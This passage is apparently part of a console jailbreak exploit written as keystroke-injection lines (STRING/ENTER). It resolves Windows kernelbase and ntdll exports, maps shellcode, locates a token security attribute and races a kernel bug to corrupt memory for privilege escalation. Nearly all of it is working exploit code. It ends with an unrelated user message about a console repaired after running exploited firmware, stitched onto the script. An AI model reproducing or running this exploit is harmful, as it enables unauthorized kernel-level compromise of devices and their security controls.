STRING tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
ENTER
STRING gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)
ENTER
STRING // get the ntdll & kernel base exports and find VirtualAlloc/Protect
ENTER
STRING var kernelbase_exports = get_dll_exports(kernelbase_base)
ENTER
STRING var ntdll_exports = get_dll_exports(ntdll_base)
ENTER
STRING VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
ENTER
STRING VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]
ENTER
STRING // map our code first blob of shellcode
ENTER
STRING var code_addr = map_code(get_token_handle_code)
ENTER
STRING var smash_func_addr = map_code(smash_func_code)
ENTER
STRING var create_smash_thread_ptr = map_code(create_smash_thread_code)
ENTER
STRING var attempt_race_ptr = map_code(attempt_race_code)
ENTER
STRING // create our shellcode context
ENTER
STRING var ctx_ptr = globalArrayNew8Bit("ctxp", 0x500)
ENTER
STRING var ctxp = ptr_to_num(ctx_ptr)
ENTER
STRING // allocate our token info buffer
ENTER
STRING var tinfo_ptr = globalArrayNew8Bit("tinfo", 0x2000)
ENTER
STRING var tinfop = ptr_to_num(tinfo_ptr)
ENTER
STRING // look up the functions needed by our shellcode
ENTER
STRING var OpenProcessToken_ptr = kernelbase_exports["OpenProcessToken"]
ENTER
STRING var GetCurrentProcess_ptr = kernelbase_exports["GetCurrentProcess"]
ENTER
STRING var NtQueryInformationToken_ptr = ntdll_exports["NtQueryInformationToken"]
ENTER
STRING var CreateThread_ptr = kernelbase_exports["CreateThread"]
ENTER
STRING var TerminateThread_ptr = kernelbase_exports["TerminateThread"]
ENTER
STRING var GetCurrentThread_ptr = kernelbase_exports["GetCurrentThread"]
ENTER
STRING var SetThreadPriority_ptr = kernelbase_exports["SetThreadPriority"]
ENTER
STRING // setup shellcode ctx
ENTER
STRING write64(ctxp, GetCurrentProcess_ptr)
ENTER
STRING write64(ctxp+8, OpenProcessToken_ptr)
ENTER
STRING write64(ctxp+0x10, NtQueryInformationToken_ptr)
ENTER
STRING write64(ctxp+0x18, tinfop)
ENTER
STRING write64(ctxp+0x20, CreateThread_ptr)
ENTER
STRING write64(ctxp+0x28, smash_func_addr)
ENTER
STRING write64(ctxp+0x48, 0x800000)
ENTER
STRING write64(ctxp+0x50, GetCurrentThread_ptr)
ENTER
STRING write64(ctxp+0x58, SetThreadPriority_ptr)
ENTER
STRING // call create_token_handle
ENTER
STRING var bytes_returned = call_native(code_addr, ctxp, 0, 0, 0)
ENTER
STRING var token_handle = read64(ctxp+0x40)
ENTER
STRING var magic_str = [0x54, 0x00, 0x53, 0x00, 0x41, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x55, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x71, 0x00, 0x75, 0x00, 0x65, 0x00]
ENTER
STRING tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
ENTER
STRING var magic_str_ptr = find_bytes(tinfop, bytes_returned, magic_str, tmp_bytes)
ENTER
STRING var smash_ptr = find64(tinfop, bytes_returned, magic_str_ptr)
ENTER
STRING write64(ctxp+0x30, smash_ptr)
ENTER
STRING write32(ctxp+0x38, 0x41414141)
ENTER
STRING write32(ctxp+0x3C, 0xFFFFFFFF)
ENTER
STRING // trigger the bug
ENTER
STRING var thread_handle = call_native(create_smash_thread_ptr, ctxp, 0, 0, 0)
ENTER
STRING call_native(attempt_race_ptr, ctxp, 0, 0, 0)
ENTER
STRING call_native(TerminateThread_ptr, thread_handle, 0, 0, 0)
ENTER
STRING // if we got here the bug did not trigger
ENTER
STRING printConsole("If you're seeing this the kernel vulnerability is patched, sorry :c\n")
ENTER
Hi Emma. My console got the black screen of death had to send it to repair to replace the retimer chip. I was on the exploited firmware but now the console has been reset. What are my options here?